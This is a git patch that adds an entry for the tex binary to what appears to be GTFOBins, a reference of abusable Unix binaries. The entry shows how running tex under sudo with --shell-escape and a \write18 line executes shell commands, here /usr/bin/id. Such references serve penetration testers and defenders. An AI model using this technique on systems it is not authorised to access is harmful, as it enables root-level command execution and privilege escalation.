From 8c08101feda3a13debb052d6ba677eca62eeaf42 Mon Sep 17 00:00:00 2001 From: SynackCerv <80706218+SynackCerv@users.noreply.github.com> Date: Thu, 22 Apr 2021 22:13:08 +0200 Subject: [PATCH] Create tex.md Add tex. --- _gtfobins/tex.md | 6 ++++++ 1 file changed, 6 insertions(+) create mode 100644 _gtfobins/tex.md diff --git a/_gtfobins/tex.md b/_gtfobins/tex.md new file mode 100644 index 0000000..a67ad9b --- /dev/null +++ b/_gtfobins/tex.md @@ -0,0 +1,6 @@ +description: `tex` has a similar behaviour as [`pdftex`](/gtfobins/pdftex/) +functions: + sudo: + - code: | + echo "\documentclass[12pt]{article} \begin{document} \write18{/usr/bin/id} \end{document}" > file.tex + tex -interaction=nonstopmode --shell-escape file.tex